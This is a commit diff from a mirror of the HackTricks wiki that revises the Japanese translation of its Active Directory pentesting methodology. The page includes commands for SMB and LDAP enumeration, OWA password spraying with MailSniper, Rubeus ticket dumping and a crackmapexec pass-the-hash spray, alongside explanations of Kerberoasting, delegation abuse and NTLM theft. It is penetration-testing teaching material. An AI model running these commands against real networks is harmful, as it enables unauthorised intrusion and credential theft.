mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/README.m
This commit is contained in:
parent
b649e7379f
commit
20ad8653a0
@ -241,6 +241,7 @@
|
||||
- [Windows C Payloads](windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md)
|
||||
- [Active Directory Methodology](windows-hardening/active-directory-methodology/README.md)
|
||||
- [Abusing Active Directory ACLs/ACEs](windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md)
|
||||
- [BadSuccessor](windows-hardening/active-directory-methodology/acl-persistence-abuse/BadSuccessor.md)
|
||||
- [Shadow Credentials](windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md)
|
||||
- [AD Certificates](windows-hardening/active-directory-methodology/ad-certificates/README.md)
|
||||
- [AD CS Account Persistence](windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md)
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本概要
|
||||
|
||||
**Active Directory**は、**ネットワーク管理者**がネットワーク内で**ドメイン**、**ユーザー**、および**オブジェクト**を効率的に作成および管理できるようにする基盤技術です。これはスケーラブルに設計されており、膨大な数のユーザーを管理可能な**グループ**および**サブグループ**に整理し、さまざまなレベルで**アクセス権**を制御します。
|
||||
**Active Directory**は、**ネットワーク管理者**がネットワーク内で**ドメイン**、**ユーザー**、および**オブジェクト**を効率的に作成および管理できる基盤技術として機能します。これはスケーラブルに設計されており、膨大な数のユーザーを管理可能な**グループ**および**サブグループ**に整理し、さまざまなレベルで**アクセス権**を制御します。
|
||||
|
||||
**Active Directory**の構造は、**ドメイン**、**ツリー**、および**フォレスト**の3つの主要な層で構成されています。**ドメイン**は、共通のデータベースを共有する**ユーザー**や**デバイス**などのオブジェクトのコレクションを含みます。**ツリー**は、共有構造によってリンクされたこれらのドメインのグループであり、**フォレスト**は、相互に**信頼関係**を持つ複数のツリーのコレクションを表し、組織構造の最上層を形成します。特定の**アクセス**および**通信権**は、これらの各レベルで指定できます。
|
||||
|
||||
@ -21,8 +21,8 @@
|
||||
1. **ドメインサービス** – データストレージを集中化し、**ユーザー**と**ドメイン**間の相互作用を管理し、**認証**および**検索**機能を含みます。
|
||||
2. **証明書サービス** – 安全な**デジタル証明書**の作成、配布、および管理を監督します。
|
||||
3. **軽量ディレクトリサービス** – **LDAPプロトコル**を通じてディレクトリ対応アプリケーションをサポートします。
|
||||
4. **ディレクトリフェデレーションサービス** – 複数のWebアプリケーションでユーザーを単一のセッションで認証するための**シングルサインオン**機能を提供します。
|
||||
5. **権利管理** – 著作権資料を保護し、その無許可の配布および使用を規制するのを支援します。
|
||||
4. **ディレクトリフェデレーションサービス** – 複数のWebアプリケーションでユーザーを認証するための**シングルサインオン**機能を提供します。
|
||||
5. **権利管理** – 著作権資料を保護するために、その無許可の配布および使用を規制します。
|
||||
6. **DNSサービス** – **ドメイン名**の解決に不可欠です。
|
||||
|
||||
詳細な説明については、[**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)を確認してください。
|
||||
@ -34,7 +34,7 @@
|
||||
|
||||
## チートシート
|
||||
|
||||
ADを列挙/悪用するために実行できるコマンドの概要を迅速に確認するには、[https://wadcoms.github.io/](https://wadcoms.github.io)を参照してください。
|
||||
[https://wadcoms.github.io/](https://wadcoms.github.io)にアクセスして、ADを列挙/悪用するために実行できるコマンドの概要を素早く確認できます。
|
||||
|
||||
> [!WARNING]
|
||||
> Kerberos通信は、アクションを実行するために**完全修飾名 (FQDN)**を必要とします。IPアドレスでマシンにアクセスしようとすると、**NTLMを使用し、Kerberosは使用されません**。
|
||||
@ -47,12 +47,12 @@ AD環境にアクセスできるが、クレデンシャル/セッションが
|
||||
- ネットワークをスキャンし、マシンとオープンポートを見つけ、そこから**脆弱性を悪用**したり、**クレデンシャルを抽出**したりします(例えば、[プリンターは非常に興味深いターゲットになる可能性があります](ad-information-in-printers.md))。
|
||||
- DNSを列挙することで、ドメイン内の主要なサーバーに関する情報を得ることができます。ウェブ、プリンター、共有、VPN、メディアなど。
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- これを行う方法についての詳細は、一般的な[**ペンテスト手法**](../../generic-methodologies-and-resources/pentesting-methodology.md)を確認してください。
|
||||
- 一般的な[**ペンテスト手法**](../../generic-methodologies-and-resources/pentesting-methodology.md)を確認して、これを行う方法に関する詳細情報を見つけてください。
|
||||
- **smbサービスでのnullおよびGuestアクセスを確認**(これは最新のWindowsバージョンでは機能しません):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
- SMBサーバーを列挙する方法についての詳細なガイドはここにあります:
|
||||
- SMBサーバーを列挙する方法に関する詳細なガイドはここにあります:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/
|
||||
@ -60,19 +60,19 @@ AD環境にアクセスできるが、クレデンシャル/セッションが
|
||||
|
||||
- **Ldapを列挙**
|
||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
- LDAPを列挙する方法についての詳細なガイドはここにあります(**匿名アクセスに特に注意してください**):
|
||||
- LDAPを列挙する方法に関する詳細なガイドはここにあります(**匿名アクセスに特に注意してください**):
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
- **ネットワークを毒する**
|
||||
- [**Responderを使用してサービスを偽装し、クレデンシャルを収集**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- [**Responderを使用してサービスを偽装してクレデンシャルを収集**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- [**リレー攻撃を悪用してホストにアクセス**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- [**悪意のあるUPnPサービスを公開してクレデンシャルを収集**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**偽のUPnPサービスを公開してクレデンシャルを収集**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- 内部文書、ソーシャルメディア、サービス(主にウェブ)からユーザー名/名前を抽出し、公開されている情報からも収集します。
|
||||
- 会社の従業員の完全な名前が見つかった場合、さまざまなAD **ユーザー名の規則**([**これを読んでください**](https://activedirectorypro.com/active-directory-user-naming-convention/))を試すことができます。最も一般的な規則は:_NameSurname_、_Name.Surname_、_NamSur_(各3文字)、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 _ランダムな文字と3ランダムな数字_(abc123)です。
|
||||
- 会社の従業員の完全な名前が見つかった場合、さまざまなADの**ユーザー名の慣習**を試すことができます(**[これを読む](https://activedirectorypro.com/active-directory-user-naming-convention/)**)。最も一般的な慣習は:_NameSurname_、_Name.Surname_、_NamSur_(各3文字)、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3つの_ランダムな文字と3つのランダムな数字_(abc123)です。
|
||||
- ツール:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
@ -95,7 +95,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
|
||||
```
|
||||
- **OWA (Outlook Web Access) サーバー**
|
||||
|
||||
ネットワーク内にこれらのサーバーの1つを見つけた場合、**ユーザー列挙を実行することもできます**。例えば、ツール[**MailSniper**](https://github.com/dafthack/MailSniper)を使用することができます:
|
||||
ネットワーク内にこれらのサーバーの1つを見つけた場合、**ユーザー列挙を実行する**こともできます。たとえば、ツール[**MailSniper**](https://github.com/dafthack/MailSniper)を使用できます:
|
||||
```bash
|
||||
ipmo C:\Tools\MailSniper\MailSniper.ps1
|
||||
# Get info about the domain
|
||||
@ -108,37 +108,37 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
|
||||
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
|
||||
```
|
||||
> [!WARNING]
|
||||
> ユーザー名のリストは[**このgithubリポジトリ**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)やこのリポジトリ([**統計的に可能性の高いユーザー名**](https://github.com/insidetrust/statistically-likely-usernames))で見つけることができます。
|
||||
> ユーザー名のリストは[**このgithubリポジトリ**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)やこのリポジトリ([**統計的に可能性のあるユーザー名**](https://github.com/insidetrust/statistically-likely-usernames))で見つけることができます。
|
||||
>
|
||||
> ただし、事前に実施したリコンステップから**会社で働いている人々の名前**を持っている必要があります。名前と姓があれば、スクリプト[**namemash.py**](https://gist.github.com/superkojiman/11076951)を使用して、潜在的な有効なユーザー名を生成できます。
|
||||
|
||||
### 1つまたは複数のユーザー名を知っている場合
|
||||
|
||||
さて、有効なユーザー名がわかっているがパスワードがない場合... 次のことを試してください:
|
||||
さて、有効なユーザー名がすでにあるがパスワードがない場合... 次のことを試してください:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): ユーザーが**_DONT_REQ_PREAUTH_**属性を持っていない場合、そのユーザーのために**AS_REPメッセージを要求**でき、ユーザーのパスワードの派生によって暗号化されたデータが含まれます。
|
||||
- [**パスワードスプレー**](password-spraying.md): 発見した各ユーザーに対して最も**一般的なパスワード**を試してみましょう。もしかしたら、あるユーザーが悪いパスワードを使用しているかもしれません(パスワードポリシーに注意してください!)。
|
||||
- [**ASREPRoast**](asreproast.md): ユーザーが**_DONT_REQ_PREAUTH_**属性を持っていない場合、そのユーザーのために**AS_REPメッセージを要求**でき、そのメッセージにはユーザーのパスワードの派生によって暗号化されたデータが含まれます。
|
||||
- [**Password Spraying**](password-spraying.md): 発見した各ユーザーに対して最も**一般的なパスワード**を試してみましょう。もしかしたら、あるユーザーが悪いパスワードを使用しているかもしれません(パスワードポリシーに注意してください!)。
|
||||
- OWAサーバーを**スプレー**して、ユーザーのメールサーバーにアクセスを試みることもできます。
|
||||
|
||||
{{#ref}}
|
||||
password-spraying.md
|
||||
{{#endref}}
|
||||
|
||||
### LLMNR/NBT-NSポイズニング
|
||||
### LLMNR/NBT-NS ポイズニング
|
||||
|
||||
**ネットワーク**のいくつかのプロトコルを**ポイズニング**することで、いくつかのチャレンジ**ハッシュ**を**取得**できるかもしれません:
|
||||
ネットワークの**プロトコルをポイズニング**することで、いくつかのチャレンジ**ハッシュ**を**取得**できるかもしれません:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### NTLMリレー
|
||||
### NTLM リレー
|
||||
|
||||
アクティブディレクトリを列挙できた場合、**より多くのメールとネットワークの理解が得られます**。NTLMの[**リレー攻撃**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)を強制してAD環境にアクセスできるかもしれません。
|
||||
|
||||
### NTLMクレデンシャルの盗難
|
||||
### NTLM クレデンシャルの盗難
|
||||
|
||||
**nullまたはゲストユーザー**で**他のPCや共有にアクセス**できる場合、**ファイルを配置**(SCFファイルなど)して、何らかの形でアクセスされると**NTLM認証をトリガー**し、**NTLMチャレンジを盗む**ことができます:
|
||||
**nullまたはゲストユーザー**で他のPCや共有に**アクセス**できる場合、**ファイルを配置**(SCFファイルなど)して、何らかの形でアクセスされると**NTLM認証をトリガー**し、**NTLMチャレンジを盗む**ことができます:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -146,7 +146,7 @@ password-spraying.md
|
||||
|
||||
## 認証情報/セッションを使用したアクティブディレクトリの列挙
|
||||
|
||||
このフェーズでは、**有効なドメインアカウントの認証情報またはセッションを侵害している必要があります。** 有効な認証情報またはドメインユーザーとしてのシェルがある場合、**前に示したオプションは他のユーザーを侵害するためのオプションとしてまだ有効です**。
|
||||
このフェーズでは、**有効なドメインアカウントの認証情報またはセッションを侵害している必要があります。** 有効な認証情報またはドメインユーザーとしてのシェルがある場合、**前に示したオプションは他のユーザーを侵害するためのオプションとして依然として有効です**。
|
||||
|
||||
認証された列挙を開始する前に、**Kerberosダブルホップ問題**が何であるかを知っておく必要があります。
|
||||
|
||||
@ -156,25 +156,25 @@ kerberos-double-hop-problem.md
|
||||
|
||||
### 列挙
|
||||
|
||||
アカウントを侵害することは、**ドメイン全体を侵害するための大きなステップ**です。なぜなら、**アクティブディレクトリの列挙**を開始できるからです:
|
||||
アカウントを侵害することは、**ドメイン全体を侵害するための大きなステップ**です。なぜなら、**アクティブディレクトリの列挙を開始できるからです**:
|
||||
|
||||
[**ASREPRoast**](asreproast.md)に関しては、今やすべての可能な脆弱なユーザーを見つけることができ、[**パスワードスプレー**](password-spraying.md)に関しては、**すべてのユーザー名のリスト**を取得し、侵害されたアカウントのパスワード、空のパスワード、新しい有望なパスワードを試すことができます。
|
||||
[**ASREPRoast**](asreproast.md)に関しては、今やすべての脆弱なユーザーを見つけることができ、[**Password Spraying**](password-spraying.md)に関しては、**すべてのユーザー名のリスト**を取得し、侵害されたアカウントのパスワード、空のパスワード、新しい有望なパスワードを試すことができます。
|
||||
|
||||
- [**CMDを使用して基本的なリコンを実行**](../basic-cmd-for-pentesters.md#domain-info)できます。
|
||||
- [**リコンのためにPowerShellを使用**](../basic-powershell-for-pentesters/index.html)することもでき、よりステルス性があります。
|
||||
- [**PowerViewを使用**](../basic-powershell-for-pentesters/powerview.md)して、より詳細な情報を抽出することもできます。
|
||||
- アクティブディレクトリでのリコンに最適なツールは[**BloodHound**](bloodhound.md)です。これは**あまりステルス性がありません**(使用する収集方法によります)が、**それを気にしないのであれば**、ぜひ試してみるべきです。ユーザーがRDPできる場所を見つけたり、他のグループへのパスを見つけたりします。
|
||||
- より詳細な情報を抽出するために[**PowerViewを使用**](../basic-powershell-for-pentesters/powerview.md)することもできます。
|
||||
- アクティブディレクトリのリコンにおいてもう1つの素晴らしいツールは[**BloodHound**](bloodhound.md)です。これは**あまりステルス性がありません**(使用する収集方法によります)が、**それを気にしないのであれば**、ぜひ試してみるべきです。ユーザーがRDPできる場所を見つけたり、他のグループへのパスを見つけたりします。
|
||||
- **他の自動化されたAD列挙ツールは:** [**AD Explorer**](bloodhound.md#ad-explorer)**、** [**ADRecon**](bloodhound.md#adrecon)**、** [**Group3r**](bloodhound.md#group3r)**、** [**PingCastle**](bloodhound.md#pingcastle)**です。**
|
||||
- [**ADのDNSレコード**](ad-dns-records.md)は、興味深い情報を含んでいるかもしれません。
|
||||
- ディレクトリを列挙するために使用できる**GUIツール**は、**SysInternal**スイートの**AdExplorer.exe**です。
|
||||
- **ldapsearch**を使用してLDAPデータベースを検索し、_userPassword_および_unixUserPassword_フィールドや、_Description_を探すことができます。cf. [PayloadsAllTheThingsのADユーザーコメントのパスワード](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)で他の方法を確認してください。
|
||||
- **ldapsearch**を使用してLDAPデータベースを検索し、_userPassword_および_unixUserPassword_フィールド、または_Description_を探すことができます。cf. [PayloadsAllTheThingsのADユーザーコメントのパスワード](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)で他の方法を確認してください。
|
||||
- **Linux**を使用している場合、[**pywerview**](https://github.com/the-useless-one/pywerview)を使用してドメインを列挙することもできます。
|
||||
- 自動化ツールを試すこともできます:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
- **すべてのドメインユーザーを抽出する**
|
||||
|
||||
Windowsからすべてのドメインユーザー名を取得するのは非常に簡単です(`net user /domain`、`Get-DomainUser`または`wmic useraccount get name,sid`)。Linuxでは、`GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username`または`enum4linux -a -u "user" -p "password" <DC IP>`を使用できます。
|
||||
Windowsからすべてのドメインユーザー名を取得するのは非常に簡単です(`net user /domain`、`Get-DomainUser`または`wmic useraccount get name,sid`)。Linuxでは、次のように使用できます:`GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username`または`enum4linux -a -u "user" -p "password" <DC IP>`。
|
||||
|
||||
> この列挙セクションは小さく見えるかもしれませんが、これはすべての中で最も重要な部分です。リンク(特にcmd、powershell、powerview、BloodHoundのリンク)にアクセスし、ドメインを列挙する方法を学び、快適に感じるまで練習してください。評価中、これはDAへの道を見つけるための重要な瞬間になるか、何もできないと判断する瞬間になります。
|
||||
|
||||
@ -182,7 +182,7 @@ Windowsからすべてのドメインユーザー名を取得するのは非常
|
||||
|
||||
Kerberoastingは、ユーザーアカウントに関連付けられたサービスによって使用される**TGSチケット**を取得し、その暗号化をクラックすることを含みます—これはユーザーパスワードに基づいており、**オフライン**で行われます。
|
||||
|
||||
これについての詳細は:
|
||||
詳細については:
|
||||
|
||||
{{#ref}}
|
||||
kerberoast.md
|
||||
@ -194,13 +194,13 @@ kerberoast.md
|
||||
|
||||
### ローカル特権昇格
|
||||
|
||||
認証情報または通常のドメインユーザーとしてのセッションを侵害し、このユーザーで**ドメイン内の任意のマシンにアクセス**できる場合、**ローカルで特権を昇格させ、認証情報を探す**方法を見つけるべきです。これは、ローカル管理者権限がないと、他のユーザーのハッシュをメモリ(LSASS)やローカル(SAM)で**ダンプ**できないためです。
|
||||
通常のドメインユーザーとしての認証情報またはセッションを侵害し、**ドメイン内の任意のマシンにこのユーザーでアクセス**できる場合、**ローカルで特権を昇格させ、認証情報を探す**方法を見つけるべきです。これは、ローカル管理者権限がないと、他のユーザーのハッシュをメモリ(LSASS)やローカル(SAM)で**ダンプ**できないためです。
|
||||
|
||||
この本には、[**Windowsにおけるローカル特権昇格**](../windows-local-privilege-escalation/index.html)に関する完全なページと[**チェックリスト**](../checklist-windows-privilege-escalation.md)があります。また、[**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)を使用することを忘れないでください。
|
||||
|
||||
### 現在のセッションチケット
|
||||
|
||||
**予期しないリソースにアクセスする**ための**チケット**が現在のユーザーに見つかる可能性は非常に**低い**ですが、確認することができます:
|
||||
**予期しないリソースにアクセスする権限を与える**チケットを現在のユーザーで見つけることは非常に**可能性が低い**ですが、確認することができます:
|
||||
```bash
|
||||
## List all tickets (if not admin, only current user tickets)
|
||||
.\Rubeus.exe triage
|
||||
@ -214,13 +214,13 @@ Active Directoryを列挙できた場合、**より多くのメールとネッ
|
||||
|
||||
### コンピュータ共有内のクレデンシャルを探す | SMB共有
|
||||
|
||||
基本的なクレデンシャルを持っているので、**AD内で共有されている**興味深いファイルを**見つける**ことができるか確認してください。手動で行うこともできますが、非常に退屈で繰り返しの作業です(特に確認する必要のある数百のドキュメントを見つけた場合はなおさらです)。
|
||||
基本的なクレデンシャルを持っているので、**AD内で共有されている興味深いファイルを見つける**ことができるか確認するべきです。手動で行うこともできますが、非常に退屈で繰り返しの作業です(特に確認する必要のある数百のドキュメントを見つけた場合はなおさらです)。
|
||||
|
||||
[**使用できるツールについて学ぶにはこのリンクをフォローしてください。**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
### NTLMクレデンシャルを盗む
|
||||
|
||||
他のPCや共有に**アクセスできる**場合、**ファイル**(SCFファイルなど)を**配置する**ことができ、何らかの形でアクセスされると、**あなたに対してNTLM認証をトリガー**し、**NTLMチャレンジを盗む**ことができます:
|
||||
他のPCや共有に**アクセスできる**場合、**ファイル**(SCFファイルなど)を**配置する**ことができ、何らかの形でアクセスされると、**あなたに対してNTLM認証をトリガー**するので、**NTLMチャレンジを盗む**ことができます:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -228,31 +228,31 @@ Active Directoryを列挙できた場合、**より多くのメールとネッ
|
||||
|
||||
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
|
||||
|
||||
この脆弱性により、認証されたユーザーは**ドメインコントローラーを侵害**することができました。
|
||||
この脆弱性により、認証された任意のユーザーが**ドメインコントローラーを侵害**することができました。
|
||||
|
||||
{{#ref}}
|
||||
printnightmare.md
|
||||
{{#endref}}
|
||||
|
||||
## 特権のあるクレデンシャル/セッションを使用したActive Directoryでの特権昇格
|
||||
## 特権のあるクレデンシャル/セッションを使用したActive Directoryの特権昇格
|
||||
|
||||
**以下の技術には、通常のドメインユーザーでは不十分で、これらの攻撃を実行するために特別な特権/クレデンシャルが必要です。**
|
||||
|
||||
### ハッシュ抽出
|
||||
|
||||
幸運にも、[AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を含むリレー、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[ローカルでの特権昇格](../windows-local-privilege-escalation/index.html)を使用して、**いくつかのローカル管理者アカウントを侵害できた**ことを願っています。\
|
||||
幸運にも、[AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を含むリレー、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[ローカルでの特権昇格](../windows-local-privilege-escalation/index.html)を使用して、**ローカル管理者**アカウントを**侵害**できたことを願っています。\
|
||||
次に、メモリとローカルのすべてのハッシュをダンプする時です。\
|
||||
[**ハッシュを取得するさまざまな方法についてはこのページをお読みください。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
[**ハッシュを取得するさまざまな方法についてこのページをお読みください。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### パス・ザ・ハッシュ
|
||||
|
||||
**ユーザーのハッシュを取得したら**、それを使用して**なりすます**ことができます。\
|
||||
**ユーザーのハッシュを取得したら、**それを使用して**なりすます**ことができます。\
|
||||
その**ハッシュ**を使用して**NTLM認証を実行する**ツールを使用する必要があります。**または**、新しい**sessionlogon**を作成し、その**ハッシュ**を**LSASS**内に**注入**することができます。これにより、**NTLM認証が実行されると、その**ハッシュが使用されます。**最後のオプションはmimikatzが行うことです。\
|
||||
[**詳細についてはこのページをお読みください。**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### オーバーパス・ザ・ハッシュ/パス・ザ・キー
|
||||
|
||||
この攻撃は、**ユーザーのNTLMハッシュを使用してKerberosチケットを要求する**ことを目的としています。これは、一般的なNTLMプロトコルのパス・ザ・ハッシュの代替手段です。したがって、これは特に**NTLMプロトコルが無効になっているネットワーク**で、**Kerberosのみが認証プロトコルとして許可されている**場合に**役立ちます**。
|
||||
この攻撃は、**ユーザーのNTLMハッシュを使用してKerberosチケットを要求する**ことを目的としています。これは、一般的なNTLMプロトコルを介したパス・ザ・ハッシュの代替手段です。したがって、これは特に**NTLMプロトコルが無効**で、**Kerberosのみが認証プロトコルとして許可されているネットワーク**で**役立つ**可能性があります。
|
||||
|
||||
{{#ref}}
|
||||
over-pass-the-hash-pass-the-key.md
|
||||
@ -260,7 +260,7 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### パス・ザ・チケット
|
||||
|
||||
**パス・ザ・チケット(PTT)**攻撃手法では、攻撃者は**ユーザーの認証チケットを盗む**ことで、パスワードやハッシュ値を盗むのではなく、その盗まれたチケットを使用して**ユーザーになりすまし**、ネットワーク内のリソースやサービスに不正アクセスします。
|
||||
**パス・ザ・チケット(PTT)**攻撃手法では、攻撃者は**ユーザーの認証チケットを盗む**代わりに、パスワードやハッシュ値を盗みます。この盗まれたチケットは、その後**ユーザーになりすます**ために使用され、ネットワーク内のリソースやサービスへの不正アクセスを得ることができます。
|
||||
|
||||
{{#ref}}
|
||||
pass-the-ticket.md
|
||||
@ -268,18 +268,18 @@ pass-the-ticket.md
|
||||
|
||||
### クレデンシャルの再利用
|
||||
|
||||
**ローカル管理者**の**ハッシュ**または**パスワード**を持っている場合は、それを使用して他の**PCにローカルでログイン**してみてください。
|
||||
**ローカル管理者**の**ハッシュ**または**パスワード**を持っている場合は、それを使用して他の**PCにローカルでログイン**してみるべきです。
|
||||
```bash
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
> [!WARNING]
|
||||
> 注意してください、これは非常に**ノイジー**であり、**LAPS**はこれを**軽減**します。
|
||||
> 注意してください、これは非常に**騒がしい**ものであり、**LAPS**が**軽減**します。
|
||||
|
||||
### MSSQLの悪用と信頼されたリンク
|
||||
|
||||
ユーザーが**MSSQLインスタンスにアクセスする権限**を持っている場合、MSSQLホストで**コマンドを実行**したり(SAとして実行されている場合)、NetNTLMの**ハッシュ**を**盗む**ことができるか、さらには**リレー攻撃**を行うことができます。\
|
||||
ユーザーが**MSSQLインスタンスにアクセスする権限**を持っている場合、MSSQLホストで**コマンドを実行**したり(SAとして実行されている場合)、NetNTLMの**ハッシュ**を**盗む**ことができたり、**リレー攻撃**を行うことができるかもしれません。\
|
||||
また、MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合(データベースリンク)。ユーザーが信頼されたデータベースに対する権限を持っている場合、**信頼関係を利用して他のインスタンスでもクエリを実行することができます**。これらの信頼は連鎖することができ、ユーザーはコマンドを実行できる誤設定されたデータベースを見つけることができるかもしれません。\
|
||||
**データベース間のリンクは、フォレストの信頼を越えても機能します。**
|
||||
|
||||
@ -300,7 +300,7 @@ unconstrained-delegation.md
|
||||
### 制約された委任
|
||||
|
||||
ユーザーまたはコンピュータが「制約された委任」を許可されている場合、**コンピュータ内のいくつかのサービスにアクセスするために任意のユーザーを偽装することができます**。\
|
||||
その後、**このユーザー/コンピュータのハッシュを侵害**すると、**任意のユーザー**(ドメイン管理者を含む)を偽装していくつかのサービスにアクセスすることができます。
|
||||
その後、もしこのユーザー/コンピュータの**ハッシュを侵害**すれば、**任意のユーザー**(ドメイン管理者を含む)を偽装していくつかのサービスにアクセスすることができます。
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
@ -314,9 +314,9 @@ constrained-delegation.md
|
||||
resource-based-constrained-delegation.md
|
||||
{{#endref}}
|
||||
|
||||
### ACLの悪用
|
||||
### 権限/ACLの悪用
|
||||
|
||||
侵害されたユーザーは、**ドメインオブジェクトに対していくつかの興味深い権限**を持っている可能性があり、それにより**横移動**や**権限の昇格**が可能になります。
|
||||
侵害されたユーザーは、**ドメインオブジェクトに対して興味深い権限**を持っている可能性があり、それにより**横移動**や**権限の昇格**が可能になります。
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -324,7 +324,7 @@ acl-persistence-abuse/
|
||||
|
||||
### プリンタースプーラーサービスの悪用
|
||||
|
||||
ドメイン内で**スプールサービスがリッスンしている**ことを発見することは、**新しい資格情報を取得し**、**権限を昇格させる**ために**悪用**される可能性があります。
|
||||
ドメイン内で**スプールサービスがリスニング**していることを発見することは、**新しい資格情報を取得**し、**権限を昇格**させるために**悪用**される可能性があります。
|
||||
|
||||
{{#ref}}
|
||||
printers-spooler-service-abuse.md
|
||||
@ -332,7 +332,7 @@ printers-spooler-service-abuse.md
|
||||
|
||||
### 第三者セッションの悪用
|
||||
|
||||
**他のユーザー**が**侵害された**マシンに**アクセス**すると、メモリから**資格情報を収集**し、さらには**彼らのプロセスにビーコンを注入**して彼らを偽装することが可能です。\
|
||||
**他のユーザー**が**侵害された**マシンに**アクセス**すると、メモリから**資格情報を収集**し、彼らのプロセスに**ビーコンを注入**して彼らを偽装することが可能です。\
|
||||
通常、ユーザーはRDPを介してシステムにアクセスするため、ここでは第三者のRDPセッションに対していくつかの攻撃を実行する方法を示します:
|
||||
|
||||
{{#ref}}
|
||||
@ -341,7 +341,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
